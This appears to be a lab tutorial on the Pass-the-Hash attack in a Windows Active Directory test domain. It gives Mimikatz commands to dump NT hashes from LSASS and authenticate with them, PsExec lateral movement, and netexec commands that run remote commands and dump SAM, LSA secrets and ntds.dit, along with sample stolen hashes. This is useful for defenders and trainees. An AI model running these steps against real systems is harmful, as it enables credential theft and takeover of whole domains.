بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار
What is Pass The Hash?
Pass The Hash is a credential theft and lateral movement technique in which an attacker abuses the NTLM authentication protocol to authenticate as a user without ever obtaining the account’s plaintext password

In Windows environments, when a user logs in, their password is never stored in plaintext instead, Windows stores the NT hash. NTLM uses this hash directly to prove identity, meaning:
Stealing the hash = Stealing the identity
Since the hash only changes when the password changes, the attacker has a significant window of time to abuse the compromised account.

Why Does PTH Work in a Domain Environment?
Kerberos is the default authentication protocol in any Active Directory environment but it has one limitation: it requires a hostname to function. Kerberos relies on DNS to resolve hostnames and issue tickets.
When an attacker connects to a target using an IP address instead of a hostname, Kerberos cannot process the request so Windows automatically falls back to NTLM.That’s exactly where PTH kicks in.
psexec.exe \\WS02 cmd.exe → Kerberos → PTH won't work
psexec.exe \\192.168.186.133 cmd.exe → NTLM → PTH works
So the attacker deliberately connects via IP address to bypass Kerberos and force NTLM authentication.
The Goal
Extract the NT hash from LSASS using Mimikatz regardless of how the user originally authenticated. Once you have the hash, connect to the target via IP address to force NTLM and pass the hash directly.
Tools
- Mimikatz dump NT hashes from LSASS
- Metasploit PTH via psexec module
- Cobalt Strike built-in PTH support
- Empire PowerShell-based PTH
- Invoke-TheHash lightweight PowerShell PTH tool
PTH vs Over Pass the Hash
PTH vs Over Pass the Hash
PTH abuses NTLM authentication, which means it only works against NTLM-based services. The moment you need to access a service that requires Kerberos, PTH won’t work.
That’s where Over Pass the Hash (OPTH) comes in instead of using the hash directly for NTLM, it converts the NT hash into a Kerberos TGT. Once you have a TGT, you authenticate like any normal domain user and can access any service in the domain.
| Technique | Authentication | Access |
|---|---|---|
| Pass the Hash | NTLM | NTLM-based services only (SMB, WMI via IP) |
| Over Pass the Hash | Kerberos | All services (LDAP, HTTP, MSSQL, etc.) |
PTH using Mimikatz
WS01 (hacker)
│
├── Step 1: Force victim4 to create a logon session on WS01
│
├── Step 2: Dump victim4's NT hash from LSASS via Mimikatz
│
├── Step 3: Use the hash to spawn a shell as victim4
│
└── Step 4: Laterally move to WS02 using victim4's privileges
STEP 1: Steal password hashes
Force victim4 to create a logon session on WS01 : Based on the enumeration process we performed and the password we obtained for victim4, we’ll try to open a session using it.
// from WS01 : hacker machine
runas /user:hunters404\victim4 cmd.exe

the NT hash is now cached in LSASS.
The idea here is not about the password itself the point is to learn how to log in using the hash.\
I know we already have the password, but this is the technique we are focusing on.
STEP 1: Steal password hashes
Open Mimikatz as Administrator and run :
However, victim4 is not an administrator on WS01, so we do not have sufficient privileges to run Mimikatz from that session.\
But once the session was established, the hash of victim4 was stored in the LSASS process on the WS01 machine.\
So, we’ll run Mimikatz using the hacker user instead.

privilege::debug
sekurlsa::logonpasswords


STEP 2: Authenticate using a stolen password hash
Back in Mimikatz, use the hash to spawn a new CMD running as victim4:
sekurlsa::pth /user:victim4 /domain:hunters404 /ntlm:<VICTIM4_HASH> /run:"cmd.exe"
sekurlsa::pth /user:victim4 /domain:hunters404 /ntlm:79bf93c9501b151506adc21ba0397b33 /run:"cmd.exe"

A new CMD window opens this shell is running as victim4 using the hash only, no plaintext password involved.
Done
STEP 3: Access other resources
Lateral Movement to WS02 : From the new CMD, use PsExec to move to WS02
psexec.exe \\WS02 cmd.exe

You now have a shell on WS02 as victim4 a Domain Admin.
Now, in order to dump all the users present on WS02, we need to copy Mimikatz from Machine 1 to Machine 2.\
However, we cannot do that through the victim4@WS02 session because victim4 is not an administrator on that machine.
So, to continue our lab, we’ll make victim4 an administrator on WS02.



We’ll copy Mimikatz from WS01 to WS02 so we can dump the hashes from LSASS.
copy \WS01\C$\Users\hacker\Desktop\Mimikatz\mimikatz.exe C:\Windows\Temp\mimikatz.exe
and Dumping lsass.exe
PTH using CrackMaps
using CrackMapExec (CME) you can authenticate to multiple machines simultaneously using just the NT hash, run commands, and dump credentials in one line.
install
sudo apt install netexec --fix-missing
Verify access to WS02 using victim4’s hash , ws02 ip :
netexec smb <machine_ip> 3 -u victim4 -H <NT_HASH> -d hunters404.com
netexec smb 192.168.186.133 -u victim4 -H 79bf93c9501b151506adc21ba0397b33 -d hunters404.com
If you see [+] and Pwn3d! — you have admin access.

get ip , hostname , username
netexec smb 192.168.186.133 -u victim4 -H 79bf93c9501b151506adc21ba0397b33 -d hunters404.com -x "whoami"
netexec smb 192.168.186.133 -u victim4 -H 79bf93c9501b151506adc21ba0397b33 -d hunters404.com -x "hostname"
netexec smb 192.168.186.133 -u victim4 -H 79bf93c9501b151506adc21ba0397b33 -d hunters404.com -x "ipconfig"

Dump SAM Database
netexec smb 192.168.186.133 -u victim4 -H 79bf93c9501b151506adc21ba0397b33 -d hunters404.com --sam

Dump LSA Secrets
crackmapexec smb 192.168.186.133 -u victim4 -H <NT_HASH> -d hunters404.local --lsa

dump ntds.dit to get ntlm hashes
netexec smb 192.168.186.132 -u victim4 -H 79bf93c9501b151506adc21ba0397b33 -d hunters404.com --ntds

we get all users hashes
| User | NTLM Hash |
|---|---|
| Administrator | a87f3a337d73085c45f9416be5787d86 |
| krbtgt | 90e14004ea8d39cf2303dfa2b367ddb8 |
| victim1 | 5858d47a41e40b40f294b3100bea611f |
| victim2 | 1791df33b45987df23e4fe6c57ea6de7 |
| victim3 | 8a499ecf99c5e069d0458e283a4b6e89 |
Lateral Movement with victim1
netexec smb 192.168.186.0/24 -u victim1 -H 5858d47a41e40b40f294b3100bea611f -d hunters404.com

And you can continue moving to other machines in the domain, but that would be lateral movement, while we want to stay within the scope of this Pass-the-Hash (PtH) attack.
Resources
https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/pass-the-hash-attack/
سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك